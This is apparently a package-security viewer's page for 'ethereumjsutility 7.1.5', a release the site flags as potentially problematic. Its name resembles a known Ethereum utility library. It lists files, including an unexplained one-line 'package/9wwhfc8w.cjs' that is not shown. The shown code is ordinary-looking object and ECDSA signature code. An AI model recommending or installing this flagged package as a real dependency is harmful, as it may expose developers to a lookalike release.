ethereumjsutility 7.1.5
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of ethereumjsutility might be problematic. Click here for more details.
- package/9wwhfc8w.cjs +1 -0
- package/LICENSE +373 -0
- package/README.md +113 -0
- package/dist/account.d.ts +120 -0
- package/dist/account.js +273 -0
- package/dist/account.js.map +1 -0
- package/dist/address.d.ts +60 -0
- package/dist/address.js +104 -0
- package/dist/address.js.map +1 -0
- package/dist/bytes.d.ts +140 -0
- package/dist/bytes.js +295 -0
- package/dist/bytes.js.map +1 -0
- package/dist/constants.d.ts +40 -0
- package/dist/constants.js +42 -0
- package/dist/constants.js.map +1 -0
- package/dist/externals.d.ts +15 -0
- package/dist/externals.js +39 -0
- package/dist/externals.js.map +1 -0
- package/dist/hash.d.ts +69 -0
- package/dist/hash.js +162 -0
- package/dist/hash.js.map +1 -0
- package/dist/helpers.d.ts +21 -0
- package/dist/helpers.js +49 -0
- package/dist/helpers.js.map +1 -0
- package/dist/index.d.ts +40 -0
- package/dist/index.js +68 -0
- package/dist/index.js.map +1 -0
- package/dist/internal.d.ts +77 -0
- package/dist/internal.js +191 -0
- package/dist/internal.js.map +1 -0
- package/dist/object.d.ts +12 -0
- package/dist/object.js +109 -0
- package/dist/object.js.map +1 -0
- package/dist/signature.d.ts +55 -0
- package/dist/signature.js +163 -0
- package/dist/signature.js.map +1 -0
- package/dist/types.d.ts +62 -0
- package/dist/types.js +77 -0
- package/dist/types.js.map +1 -0
- package/dist.browser/account.d.ts +120 -0
- package/dist.browser/account.js +296 -0
- package/dist.browser/account.js.map +1 -0
- package/dist.browser/address.d.ts +60 -0
- package/dist.browser/address.js +105 -0
- package/dist.browser/address.js.map +1 -0
- package/dist.browser/bytes.d.ts +140 -0
- package/dist.browser/bytes.js +333 -0
- package/dist.browser/bytes.js.map +1 -0
- package/dist.browser/constants.d.ts +40 -0
- package/dist.browser/constants.js +42 -0
- package/dist.browser/constants.js.map +1 -0
- package/dist.browser/externals.d.ts +15 -0
- package/dist.browser/externals.js +39 -0
- package/dist.browser/externals.js.map +1 -0
- package/dist.browser/hash.d.ts +69 -0
- package/dist.browser/hash.js +166 -0
- package/dist.browser/hash.js.map +1 -0
- package/dist.browser/helpers.d.ts +21 -0
- package/dist.browser/helpers.js +49 -0
- package/dist.browser/helpers.js.map +1 -0
- package/dist.browser/index.d.ts +40 -0
- package/dist.browser/index.js +68 -0
- package/dist.browser/index.js.map +1 -0
- package/dist.browser/internal.d.ts +77 -0
- package/dist.browser/internal.js +191 -0
- package/dist.browser/internal.js.map +1 -0
- package/dist.browser/object.d.ts +12 -0
- package/dist.browser/object.js +110 -0
- package/dist.browser/object.js.map +1 -0
- package/dist.browser/signature.d.ts +55 -0
- package/dist.browser/signature.js +164 -0
- package/dist.browser/signature.js.map +1 -0
- package/dist.browser/types.d.ts +62 -0
- package/dist.browser/types.js +77 -0
- package/dist.browser/types.js.map +1 -0
- package/package.json +105 -0
- package/src/account.ts +321 -0
- package/src/address.ts +117 -0
- package/src/bytes.ts +334 -0
- package/src/constants.ts +54 -0
- package/src/externals.ts +18 -0
- package/src/hash.ts +159 -0
- package/src/helpers.ts +45 -0
- package/src/index.ts +60 -0
- package/src/internal.ts +209 -0
- package/src/object.ts +117 -0
- package/src/signature.ts +209 -0
- package/src/types.ts +146 -0
@@ -0,0 +1,110 @@
|
|
1
|
+
"use strict";
|
2
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
3
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
4
|
+
};
|
5
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
6
|
+
exports.defineProperties = void 0;
|
7
|
+
var assert_1 = __importDefault(require("assert"));
|
8
|
+
var internal_1 = require("./internal");
|
9
|
+
var externals_1 = require("./externals");
|
10
|
+
var bytes_1 = require("./bytes");
|
11
|
+
/**
|
12
|
+
* Defines properties on a `Object`. It make the assumption that underlying data is binary.
|
13
|
+
* @param self the `Object` to define properties on
|
14
|
+
* @param fields an array fields to define. Fields can contain:
|
15
|
+
* * `name` - the name of the properties
|
16
|
+
* * `length` - the number of bytes the field can have
|
17
|
+
* * `allowLess` - if the field can be less than the length
|
18
|
+
* * `allowEmpty`
|
19
|
+
* @param data data to be validated against the definitions
|
20
|
+
* @deprecated
|
21
|
+
*/
|
22
|
+
var defineProperties = function (self, fields, data) {
|
23
|
+
self.raw = [];
|
24
|
+
self._fields = [];
|
25
|
+
// attach the `toJSON`
|
26
|
+
self.toJSON = function (label) {
|
27
|
+
if (label === void 0) { label = false; }
|
28
|
+
if (label) {
|
29
|
+
var obj_1 = {};
|
30
|
+
self._fields.forEach(function (field) {
|
31
|
+
obj_1[field] = "0x".concat(self[field].toString('hex'));
|
32
|
+
});
|
33
|
+
return obj_1;
|
34
|
+
}
|
35
|
+
return (0, bytes_1.baToJSON)(self.raw);
|
36
|
+
};
|
37
|
+
self.serialize = function serialize() {
|
38
|
+
return externals_1.rlp.encode(self.raw);
|
39
|
+
};
|
40
|
+
fields.forEach(function (field, i) {
|
41
|
+
self._fields.push(field.name);
|
42
|
+
function getter() {
|
43
|
+
return self.raw[i];
|
44
|
+
}
|
45
|
+
function setter(v) {
|
46
|
+
v = (0, bytes_1.toBuffer)(v);
|
47
|
+
if (v.toString('hex') === '00' && !field.allowZero) {
|
48
|
+
v = Buffer.allocUnsafe(0);
|
49
|
+
}
|
50
|
+
if (field.allowLess && field.length) {
|
51
|
+
v = (0, bytes_1.unpadBuffer)(v);
|
52
|
+
(0, assert_1.default)(field.length >= v.length, "The field ".concat(field.name, " must not have more ").concat(field.length, " bytes"));
|
53
|
+
}
|
54
|
+
else if (!(field.allowZero && v.length === 0) && field.length) {
|
55
|
+
(0, assert_1.default)(field.length === v.length, "The field ".concat(field.name, " must have byte length of ").concat(field.length));
|
56
|
+
}
|
57
|
+
self.raw[i] = v;
|
58
|
+
}
|
59
|
+
Object.defineProperty(self, field.name, {
|
60
|
+
enumerable: true,
|
61
|
+
configurable: true,
|
62
|
+
get: getter,
|
63
|
+
set: setter,
|
64
|
+
});
|
65
|
+
if (field.default) {
|
66
|
+
self[field.name] = field.default;
|
67
|
+
}
|
68
|
+
// attach alias
|
69
|
+
if (field.alias) {
|
70
|
+
Object.defineProperty(self, field.alias, {
|
71
|
+
enumerable: false,
|
72
|
+
configurable: true,
|
73
|
+
set: setter,
|
74
|
+
get: getter,
|
75
|
+
});
|
76
|
+
}
|
77
|
+
});
|
78
|
+
// if the constuctor is passed data
|
79
|
+
if (data) {
|
80
|
+
if (typeof data === 'string') {
|
81
|
+
data = Buffer.from((0, internal_1.stripHexPrefix)(data), 'hex');
|
82
|
+
}
|
83
|
+
if (Buffer.isBuffer(data)) {
|
84
|
+
data = externals_1.rlp.decode(data);
|
85
|
+
}
|
86
|
+
if (Array.isArray(data)) {
|
87
|
+
if (data.length > self._fields.length) {
|
88
|
+
throw new Error('wrong number of fields in data');
|
89
|
+
}
|
90
|
+
// make sure all the items are buffers
|
91
|
+
data.forEach(function (d, i) {
|
92
|
+
self[self._fields[i]] = (0, bytes_1.toBuffer)(d);
|
93
|
+
});
|
94
|
+
}
|
95
|
+
else if (typeof data === 'object') {
|
96
|
+
var keys_1 = Object.keys(data);
|
97
|
+
fields.forEach(function (field) {
|
98
|
+
if (keys_1.indexOf(field.name) !== -1)
|
99
|
+
self[field.name] = data[field.name];
|
100
|
+
if (keys_1.indexOf(field.alias) !== -1)
|
101
|
+
self[field.alias] = data[field.alias];
|
102
|
+
});
|
103
|
+
}
|
104
|
+
else {
|
105
|
+
throw new Error('invalid data');
|
106
|
+
}
|
107
|
+
}
|
108
|
+
};
|
109
|
+
exports.defineProperties = defineProperties;
|
110
|
+
//# sourceMappingURL=object.js.map
|
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"object.js","sourceRoot":"","sources":["../src/object.ts"],"names":[],"mappings":";;;;;;AAAA,kDAA2B;AAC3B,uCAA2C;AAC3C,yCAAiC;AACjC,iCAAyD;AAEzD;;;;;;;;;;GAUG;AACI,IAAM,gBAAgB,GAAG,UAAU,IAAS,EAAE,MAAW,EAAE,IAAU;IAC1E,IAAI,CAAC,GAAG,GAAG,EAAE,CAAA;IACb,IAAI,CAAC,OAAO,GAAG,EAAE,CAAA;IAEjB,sBAAsB;IACtB,IAAI,CAAC,MAAM,GAAG,UAAU,KAAsB;QAAtB,sBAAA,EAAA,aAAsB;QAC5C,IAAI,KAAK,EAAE;YAET,IAAM,KAAG,GAAS,EAAE,CAAA;YACpB,IAAI,CAAC,OAAO,CAAC,OAAO,CAAC,UAAC,KAAa;gBACjC,KAAG,CAAC,KAAK,CAAC,GAAG,YAAK,IAAI,CAAC,KAAK,CAAC,CAAC,QAAQ,CAAC,KAAK,CAAC,CAAE,CAAA;YACjD,CAAC,CAAC,CAAA;YACF,OAAO,KAAG,CAAA;SACX;QACD,OAAO,IAAA,gBAAQ,EAAC,IAAI,CAAC,GAAG,CAAC,CAAA;IAC3B,CAAC,CAAA;IAED,IAAI,CAAC,SAAS,GAAG,SAAS,SAAS;QACjC,OAAO,eAAG,CAAC,MAAM,CAAC,IAAI,CAAC,GAAG,CAAC,CAAA;IAC7B,CAAC,CAAA;IAED,MAAM,CAAC,OAAO,CAAC,UAAC,KAAU,EAAE,CAAS;QACnC,IAAI,CAAC,OAAO,CAAC,IAAI,CAAC,KAAK,CAAC,IAAI,CAAC,CAAA;QAC7B,SAAS,MAAM;YACb,OAAO,IAAI,CAAC,GAAG,CAAC,CAAC,CAAC,CAAA;QACpB,CAAC;QACD,SAAS,MAAM,CAAC,CAAM;YACpB,CAAC,GAAG,IAAA,gBAAQ,EAAC,CAAC,CAAC,CAAA;YAEf,IAAI,CAAC,CAAC,QAAQ,CAAC,KAAK,CAAC,KAAK,IAAI,IAAI,CAAC,KAAK,CAAC,SAAS,EAAE;gBAClD,CAAC,GAAG,MAAM,CAAC,WAAW,CAAC,CAAC,CAAC,CAAA;aAC1B;YAED,IAAI,KAAK,CAAC,SAAS,IAAI,KAAK,CAAC,MAAM,EAAE;gBACnC,CAAC,GAAG,IAAA,mBAAW,EAAC,CAAC,CAAC,CAAA;gBAClB,IAAA,gBAAM,EACJ,KAAK,CAAC,MAAM,IAAI,CAAC,CAAC,MAAM,EACxB,oBAAa,KAAK,CAAC,IAAI,iCAAuB,KAAK,CAAC,MAAM,WAAQ,CACnE,CAAA;aACF;iBAAM,IAAI,CAAC,CAAC,KAAK,CAAC,SAAS,IAAI,CAAC,CAAC,MAAM,KAAK,CAAC,CAAC,IAAI,KAAK,CAAC,MAAM,EAAE;gBAC/D,IAAA,gBAAM,EACJ,KAAK,CAAC,MAAM,KAAK,CAAC,CAAC,MAAM,EACzB,oBAAa,KAAK,CAAC,IAAI,uCAA6B,KAAK,CAAC,MAAM,CAAE,CACnE,CAAA;aACF;YAED,IAAI,CAAC,GAAG,CAAC,CAAC,CAAC,GAAG,CAAC,CAAA;QACjB,CAAC;QAED,MAAM,CAAC,cAAc,CAAC,IAAI,EAAE,KAAK,CAAC,IAAI,EAAE;YACtC,UAAU,EAAE,IAAI;YAChB,YAAY,EAAE,IAAI;YAClB,GAAG,EAAE,MAAM;YACX,GAAG,EAAE,MAAM;SACZ,CAAC,CAAA;QAEF,IAAI,KAAK,CAAC,OAAO,EAAE;YACjB,IAAI,CAAC,KAAK,CAAC,IAAI,CAAC,GAAG,KAAK,CAAC,OAAO,CAAA;SACjC;QAED,eAAe;QACf,IAAI,KAAK,CAAC,KAAK,EAAE;YACf,MAAM,CAAC,cAAc,CAAC,IAAI,EAAE,KAAK,CAAC,KAAK,EAAE;gBACvC,UAAU,EAAE,KAAK;gBACjB,YAAY,EAAE,IAAI;gBAClB,GAAG,EAAE,MAAM;gBACX,GAAG,EAAE,MAAM;aACZ,CAAC,CAAA;SACH;IACH,CAAC,CAAC,CAAA;IAEF,mCAAmC;IACnC,IAAI,IAAI,EAAE;QACR,IAAI,OAAO,IAAI,KAAK,QAAQ,EAAE;YAC5B,IAAI,GAAG,MAAM,CAAC,IAAI,CAAC,IAAA,yBAAc,EAAC,IAAI,CAAC,EAAE,KAAK,CAAC,CAAA;SAChD;QAED,IAAI,MAAM,CAAC,QAAQ,CAAC,IAAI,CAAC,EAAE;YACzB,IAAI,GAAG,eAAG,CAAC,MAAM,CAAC,IAAI,CAAC,CAAA;SACxB;QAED,IAAI,KAAK,CAAC,OAAO,CAAC,IAAI,CAAC,EAAE;YACvB,IAAI,IAAI,CAAC,MAAM,GAAG,IAAI,CAAC,OAAO,CAAC,MAAM,EAAE;gBACrC,MAAM,IAAI,KAAK,CAAC,gCAAgC,CAAC,CAAA;aAClD;YAED,sCAAsC;YACtC,IAAI,CAAC,OAAO,CAAC,UAAC,CAAC,EAAE,CAAC;gBAChB,IAAI,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC,CAAC,CAAC,GAAG,IAAA,gBAAQ,EAAC,CAAC,CAAC,CAAA;YACrC,CAAC,CAAC,CAAA;SACH;aAAM,IAAI,OAAO,IAAI,KAAK,QAAQ,EAAE;YACnC,IAAM,MAAI,GAAG,MAAM,CAAC,IAAI,CAAC,IAAI,CAAC,CAAA;YAC9B,MAAM,CAAC,OAAO,CAAC,UAAC,KAAU;gBACxB,IAAI,MAAI,CAAC,OAAO,CAAC,KAAK,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC;oBAAE,IAAI,CAAC,KAAK,CAAC,IAAI,CAAC,GAAG,IAAI,CAAC,KAAK,CAAC,IAAI,CAAC,CAAA;gBACxE,IAAI,MAAI,CAAC,OAAO,CAAC,KAAK,CAAC,KAAK,CAAC,KAAK,CAAC,CAAC;oBAAE,IAAI,CAAC,KAAK,CAAC,KAAK,CAAC,GAAG,IAAI,CAAC,KAAK,CAAC,KAAK,CAAC,CAAA;YAC7E,CAAC,CAAC,CAAA;SACH;aAAM;YACL,MAAM,IAAI,KAAK,CAAC,cAAc,CAAC,CAAA;SAChC;KACF;AACH,CAAC,CAAA;AApGY,QAAA,gBAAgB,oBAoG5B"}
|
@@ -0,0 +1,55 @@
|
|
1
|
+
/// <reference types="node" />
|
2
|
+
import { BNLike } from './types';
|
3
|
+
export interface ECDSASignature {
|
4
|
+
v: number;
|
5
|
+
r: Buffer;
|
6
|
+
s: Buffer;
|
7
|
+
}
|
8
|
+
export interface ECDSASignatureBuffer {
|
9
|
+
v: Buffer;
|
10
|
+
r: Buffer;
|
11
|
+
s: Buffer;
|
12
|
+
}
|
13
|
+
/**
|
14
|
+
* Returns the ECDSA signature of a message hash.
|
15
|
+
*/
|
16
|
+
export declare function ecsign(msgHash: Buffer, privateKey: Buffer, chainId?: number): ECDSASignature;
|
17
|
+
export declare function ecsign(msgHash: Buffer, privateKey: Buffer, chainId: BNLike): ECDSASignatureBuffer;
|
18
|
+
/**
|
19
|
+
* ECDSA public key recovery from signature.
|
20
|
+
* NOTE: Accepts `v == 0 | v == 1` for EIP1559 transactions
|
21
|
+
* @returns Recovered public key
|
22
|
+
*/
|
23
|
+
export declare const ecrecover: (msgHash: Buffer, v: BNLike, r: Buffer, s: Buffer, chainId?: BNLike) => Buffer;
|
24
|
+
/**
|
25
|
+
* Convert signature parameters into the format of `eth_sign` RPC method.
|
26
|
+
* NOTE: Accepts `v == 0 | v == 1` for EIP1559 transactions
|
27
|
+
* @returns Signature
|
28
|
+
*/
|
29
|
+
export declare const toRpcSig: (v: BNLike, r: Buffer, s: Buffer, chainId?: BNLike) => string;
|
30
|
+
/**
|
31
|
+
* Convert signature parameters into the format of Compact Signature Representation (EIP-2098).
|
32
|
+
* NOTE: Accepts `v == 0 | v == 1` for EIP1559 transactions
|
33
|
+
* @returns Signature
|
34
|
+
*/
|
35
|
+
export declare const toCompactSig: (v: BNLike, r: Buffer, s: Buffer, chainId?: BNLike) => string;
|
36
|
+
/**
|
37
|
+
* Convert signature format of the `eth_sign` RPC method to signature parameters
|
38
|
+
* NOTE: all because of a bug in geth: https://github.com/ethereum/go-ethereum/issues/2053
|
39
|
+
* NOTE: After EIP1559, `v` could be `0` or `1` but this function assumes
|
40
|
+
* it's a signed message (EIP-191 or EIP-712) adding `27` at the end. Remove if needed.
|
41
|
+
*/
|
42
|
+
export declare const fromRpcSig: (sig: string) => ECDSASignature;
|
43
|
+
/**
|
44
|
+
* Validate a ECDSA signature.
|
45
|
+
* NOTE: Accepts `v == 0 | v == 1` for EIP1559 transactions
|
46
|
+
* @param homesteadOrLater Indicates whether this is being used on either the homestead hardfork or a later one
|
47
|
+
*/
|
48
|
+
export declare const isValidSignature: (v: BNLike, r: Buffer, s: Buffer, homesteadOrLater?: boolean, chainId?: BNLike) => boolean;
|
49
|
+
/**
|
50
|
+
* Returns the keccak-256 hash of `message`, prefixed with the header used by the `eth_sign` RPC call.
|
51
|
+
* The output of this function can be fed into `ecsign` to produce the same signature as the `eth_sign`
|
52
|
+
* call for a given `message`, or fed to `ecrecover` along with a signature to recover the public key
|
53
|
+
* used to produce the signature.
|
54
|
+
*/
|
55
|
+
export declare const hashPersonalMessage: (message: Buffer) => Buffer;
|
@@ -0,0 +1,164 @@
|
|
1
|
+
"use strict";
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
3
|
+
exports.hashPersonalMessage = exports.isValidSignature = exports.fromRpcSig = exports.toCompactSig = exports.toRpcSig = exports.ecrecover = exports.ecsign = void 0;
|
4
|
+
var secp256k1_1 = require("ethereum-cryptography/secp256k1");
|
5
|
+
var externals_1 = require("./externals");
|
6
|
+
var bytes_1 = require("./bytes");
|
7
|
+
var hash_1 = require("./hash");
|
8
|
+
var helpers_1 = require("./helpers");
|
9
|
+
var types_1 = require("./types");
|
10
|
+
function ecsign(msgHash, privateKey, chainId) {
|
11
|
+
var _a = (0, secp256k1_1.ecdsaSign)(msgHash, privateKey), signature = _a.signature, recovery = _a.recid;
|
12
|
+
var r = Buffer.from(signature.slice(0, 32));
|
13
|
+
var s = Buffer.from(signature.slice(32, 64));
|
14
|
+
if (!chainId || typeof chainId === 'number') {
|
15
|
+
// return legacy type ECDSASignature (deprecated in favor of ECDSASignatureBuffer to handle large chainIds)
|
16
|
+
if (chainId && !Number.isSafeInteger(chainId)) {
|
17
|
+
throw new Error('The provided number is greater than MAX_SAFE_INTEGER (please use an alternative input type)');
|
18
|
+
}
|
19
|
+
var v_1 = chainId ? recovery + (chainId * 2 + 35) : recovery + 27;
|
20
|
+
return { r: r, s: s, v: v_1 };
|
21
|
+
}
|
22
|
+
var chainIdBN = (0, types_1.toType)(chainId, types_1.TypeOutput.BN);
|
23
|
+
var v = chainIdBN.muln(2).addn(35).addn(recovery).toArrayLike(Buffer);
|
24
|
+
return { r: r, s: s, v: v };
|
25
|
+
}
|
26
|
+
exports.ecsign = ecsign;
|
27
|
+
function calculateSigRecovery(v, chainId) {
|
28
|
+
var vBN = (0, types_1.toType)(v, types_1.TypeOutput.BN);
|
29
|
+
if (vBN.eqn(0) || vBN.eqn(1))
|
30
|
+
return (0, types_1.toType)(v, types_1.TypeOutput.BN);
|
31
|
+
if (!chainId) {
|
32
|
+
return vBN.subn(27);
|
33
|
+
}
|
34
|
+
var chainIdBN = (0, types_1.toType)(chainId, types_1.TypeOutput.BN);
|
35
|
+
return vBN.sub(chainIdBN.muln(2).addn(35));
|
36
|
+
}
|
37
|
+
function isValidSigRecovery(recovery) {
|
38
|
+
var rec = new externals_1.BN(recovery);
|
39
|
+
return rec.eqn(0) || rec.eqn(1);
|
40
|
+
}
|
41
|
+
/**
|
42
|
+
* ECDSA public key recovery from signature.
|
43
|
+
* NOTE: Accepts `v == 0 | v == 1` for EIP1559 transactions
|
44
|
+
* @returns Recovered public key
|
45
|
+
*/
|
46
|
+
var ecrecover = function (msgHash, v, r, s, chainId) {
|
47
|
+
var signature = Buffer.concat([(0, bytes_1.setLengthLeft)(r, 32), (0, bytes_1.setLengthLeft)(s, 32)], 64);
|
48
|
+
var recovery = calculateSigRecovery(v, chainId);
|
49
|
+
if (!isValidSigRecovery(recovery)) {
|
50
|
+
throw new Error('Invalid signature v value');
|
51
|
+
}
|
52
|
+
var senderPubKey = (0, secp256k1_1.ecdsaRecover)(signature, recovery.toNumber(), msgHash);
|
53
|
+
return Buffer.from((0, secp256k1_1.publicKeyConvert)(senderPubKey, false).slice(1));
|
54
|
+
};
|
55
|
+
exports.ecrecover = ecrecover;
|
56
|
+
/**
|
57
|
+
* Convert signature parameters into the format of `eth_sign` RPC method.
|
58
|
+
* NOTE: Accepts `v == 0 | v == 1` for EIP1559 transactions
|
59
|
+
* @returns Signature
|
60
|
+
*/
|
61
|
+
var toRpcSig = function (v, r, s, chainId) {
|
62
|
+
var recovery = calculateSigRecovery(v, chainId);
|
63
|
+
if (!isValidSigRecovery(recovery)) {
|
64
|
+
throw new Error('Invalid signature v value');
|
65
|
+
}
|
66
|
+
// geth (and the RPC eth_sign method) uses the 65 byte format used by Bitcoin
|
67
|
+
return (0, bytes_1.bufferToHex)(Buffer.concat([(0, bytes_1.setLengthLeft)(r, 32), (0, bytes_1.setLengthLeft)(s, 32), (0, bytes_1.toBuffer)(v)]));
|
68
|
+
};
|
69
|
+
exports.toRpcSig = toRpcSig;
|
70
|
+
/**
|
71
|
+
* Convert signature parameters into the format of Compact Signature Representation (EIP-2098).
|
72
|
+
* NOTE: Accepts `v == 0 | v == 1` for EIP1559 transactions
|
73
|
+
* @returns Signature
|
74
|
+
*/
|
75
|
+
var toCompactSig = function (v, r, s, chainId) {
|
76
|
+
var recovery = calculateSigRecovery(v, chainId);
|
77
|
+
if (!isValidSigRecovery(recovery)) {
|
78
|
+
throw new Error('Invalid signature v value');
|
79
|
+
}
|
80
|
+
var vn = (0, types_1.toType)(v, types_1.TypeOutput.Number);
|
81
|
+
var ss = s;
|
82
|
+
if ((vn > 28 && vn % 2 === 1) || vn === 1 || vn === 28) {
|
83
|
+
ss = Buffer.from(s);
|
84
|
+
ss[0] |= 0x80;
|
85
|
+
}
|
86
|
+
return (0, bytes_1.bufferToHex)(Buffer.concat([(0, bytes_1.setLengthLeft)(r, 32), (0, bytes_1.setLengthLeft)(ss, 32)]));
|
87
|
+
};
|
88
|
+
exports.toCompactSig = toCompactSig;
|
89
|
+
/**
|
90
|
+
* Convert signature format of the `eth_sign` RPC method to signature parameters
|
91
|
+
* NOTE: all because of a bug in geth: https://github.com/ethereum/go-ethereum/issues/2053
|
92
|
+
* NOTE: After EIP1559, `v` could be `0` or `1` but this function assumes
|
93
|
+
* it's a signed message (EIP-191 or EIP-712) adding `27` at the end. Remove if needed.
|
94
|
+
*/
|
95
|
+
var fromRpcSig = function (sig) {
|
96
|
+
var buf = (0, bytes_1.toBuffer)(sig);
|
97
|
+
var r;
|
98
|
+
var s;
|
99
|
+
var v;
|
100
|
+
if (buf.length >= 65) {
|
101
|
+
r = buf.slice(0, 32);
|
102
|
+
s = buf.slice(32, 64);
|
103
|
+
v = (0, bytes_1.bufferToInt)(buf.slice(64));
|
104
|
+
}
|
105
|
+
else if (buf.length === 64) {
|
106
|
+
// Compact Signature Representation (https://eips.ethereum.org/EIPS/eip-2098)
|
107
|
+
r = buf.slice(0, 32);
|
108
|
+
s = buf.slice(32, 64);
|
109
|
+
v = (0, bytes_1.bufferToInt)(buf.slice(32, 33)) >> 7;
|
110
|
+
s[0] &= 0x7f;
|
111
|
+
}
|
112
|
+
else {
|
113
|
+
throw new Error('Invalid signature length');
|
114
|
+
}
|
115
|
+
// support both versions of `eth_sign` responses
|
116
|
+
if (v < 27) {
|
117
|
+
v += 27;
|
118
|
+
}
|
119
|
+
return {
|
120
|
+
v: v,
|
121
|
+
r: r,
|
122
|
+
s: s,
|
123
|
+
};
|
124
|
+
};
|
125
|
+
exports.fromRpcSig = fromRpcSig;
|
126
|
+
/**
|
127
|
+
* Validate a ECDSA signature.
|
128
|
+
* NOTE: Accepts `v == 0 | v == 1` for EIP1559 transactions
|
129
|
+
* @param homesteadOrLater Indicates whether this is being used on either the homestead hardfork or a later one
|
130
|
+
*/
|
131
|
+
var isValidSignature = function (v, r, s, homesteadOrLater, chainId) {
|
132
|
+
if (homesteadOrLater === void 0) { homesteadOrLater = true; }
|
133
|
+
var SECP256K1_N_DIV_2 = new externals_1.BN('7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0', 16);
|
134
|
+
var SECP256K1_N = new externals_1.BN('fffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141', 16);
|
135
|
+
if (r.length !== 32 || s.length !== 32) {
|
136
|
+
return false;
|
137
|
+
}
|
138
|
+
if (!isValidSigRecovery(calculateSigRecovery(v, chainId))) {
|
139
|
+
return false;
|
140
|
+
}
|
141
|
+
var rBN = new externals_1.BN(r);
|
142
|
+
var sBN = new externals_1.BN(s);
|
143
|
+
if (rBN.isZero() || rBN.gt(SECP256K1_N) || sBN.isZero() || sBN.gt(SECP256K1_N)) {
|
144
|
+
return false;
|
145
|
+
}
|
146
|
+
if (homesteadOrLater && sBN.cmp(SECP256K1_N_DIV_2) === 1) {
|
147
|
+
return false;
|
148
|
+
}
|
149
|
+
return true;
|
150
|
+
};
|
151
|
+
exports.isValidSignature = isValidSignature;
|
152
|
+
/**
|
153
|
+
* Returns the keccak-256 hash of `message`, prefixed with the header used by the `eth_sign` RPC call.
|
154
|
+
* The output of this function can be fed into `ecsign` to produce the same signature as the `eth_sign`
|
155
|
+
* call for a given `message`, or fed to `ecrecover` along with a signature to recover the public key
|
156
|
+
* used to produce the signature.
|
157
|
+
*/
|
158
|
+
var hashPersonalMessage = function (message) {
|
159
|
+
(0, helpers_1.assertIsBuffer)(message);
|
160
|
+
var prefix = Buffer.from("\u0019Ethereum Signed Message:\n".concat(message.length), 'utf-8');
|
161
|
+
return (0, hash_1.keccak)(Buffer.concat([prefix, message]));
|
162
|
+
};
|
163
|
+
exports.hashPersonalMessage = hashPersonalMessage;
|
164
|
+
//# sourceMappingURL=signature.js.map
|
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"signature.js","sourceRoot":"","sources":["../src/signature.ts"],"names":[],"mappings":";;;AAAA,6DAA2F;AAC3F,yCAAgC;AAChC,iCAA2E;AAC3E,+BAA+B;AAC/B,qCAA0C;AAC1C,iCAAoD;AAmBpD,SAAgB,MAAM,CAAC,OAAe,EAAE,UAAkB,EAAE,OAAY;IAChE,IAAA,KAAiC,IAAA,qBAAS,EAAC,OAAO,EAAE,UAAU,CAAC,EAA7D,SAAS,eAAA,EAAS,QAAQ,WAAmC,CAAA;IAErE,IAAM,CAAC,GAAG,MAAM,CAAC,IAAI,CAAC,SAAS,CAAC,KAAK,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAA;IAC7C,IAAM,CAAC,GAAG,MAAM,CAAC,IAAI,CAAC,SAAS,CAAC,KAAK,CAAC,EAAE,EAAE,EAAE,CAAC,CAAC,CAAA;IAE9C,IAAI,CAAC,OAAO,IAAI,OAAO,OAAO,KAAK,QAAQ,EAAE;QAC3C,2GAA2G;QAC3G,IAAI,OAAO,IAAI,CAAC,MAAM,CAAC,aAAa,CAAC,OAAO,CAAC,EAAE;YAC7C,MAAM,IAAI,KAAK,CACb,6FAA6F,CAC9F,CAAA;SACF;QACD,IAAM,GAAC,GAAG,OAAO,CAAC,CAAC,CAAC,QAAQ,GAAG,CAAC,OAAO,GAAG,CAAC,GAAG,EAAE,CAAC,CAAC,CAAC,CAAC,QAAQ,GAAG,EAAE,CAAA;QACjE,OAAO,EAAE,CAAC,GAAA,EAAE,CAAC,GAAA,EAAE,CAAC,KAAA,EAAE,CAAA;KACnB;IAED,IAAM,SAAS,GAAG,IAAA,cAAM,EAAC,OAAiB,EAAE,kBAAU,CAAC,EAAE,CAAC,CAAA;IAC1D,IAAM,CAAC,GAAG,SAAS,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,EAAE,CAAC,CAAC,IAAI,CAAC,QAAQ,CAAC,CAAC,WAAW,CAAC,MAAM,CAAC,CAAA;IACvE,OAAO,EAAE,CAAC,GAAA,EAAE,CAAC,GAAA,EAAE,CAAC,GAAA,EAAE,CAAA;AACpB,CAAC;AApBD,wBAoBC;AAED,SAAS,oBAAoB,CAAC,CAAS,EAAE,OAAgB;IACvD,IAAM,GAAG,GAAG,IAAA,cAAM,EAAC,CAAC,EAAE,kBAAU,CAAC,EAAE,CAAC,CAAA;IAEpC,IAAI,GAAG,CAAC,GAAG,CAAC,CAAC,CAAC,IAAI,GAAG,CAAC,GAAG,CAAC,CAAC,CAAC;QAAE,OAAO,IAAA,cAAM,EAAC,CAAC,EAAE,kBAAU,CAAC,EAAE,CAAC,CAAA;IAE7D,IAAI,CAAC,OAAO,EAAE;QACZ,OAAO,GAAG,CAAC,IAAI,CAAC,EAAE,CAAC,CAAA;KACpB;IACD,IAAM,SAAS,GAAG,IAAA,cAAM,EAAC,OAAO,EAAE,kBAAU,CAAC,EAAE,CAAC,CAAA;IAChD,OAAO,GAAG,CAAC,GAAG,CAAC,SAAS,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,EAAE,CAAC,CAAC,CAAA;AAC5C,CAAC;AAED,SAAS,kBAAkB,CAAC,QAAqB;IAC/C,IAAM,GAAG,GAAG,IAAI,cAAE,CAAC,QAAQ,CAAC,CAAA;IAC5B,OAAO,GAAG,CAAC,GAAG,CAAC,CAAC,CAAC,IAAI,GAAG,CAAC,GAAG,CAAC,CAAC,CAAC,CAAA;AACjC,CAAC;AAED;;;;GAIG;AACI,IAAM,SAAS,GAAG,UACvB,OAAe,EACf,CAAS,EACT,CAAS,EACT,CAAS,EACT,OAAgB;IAEhB,IAAM,SAAS,GAAG,MA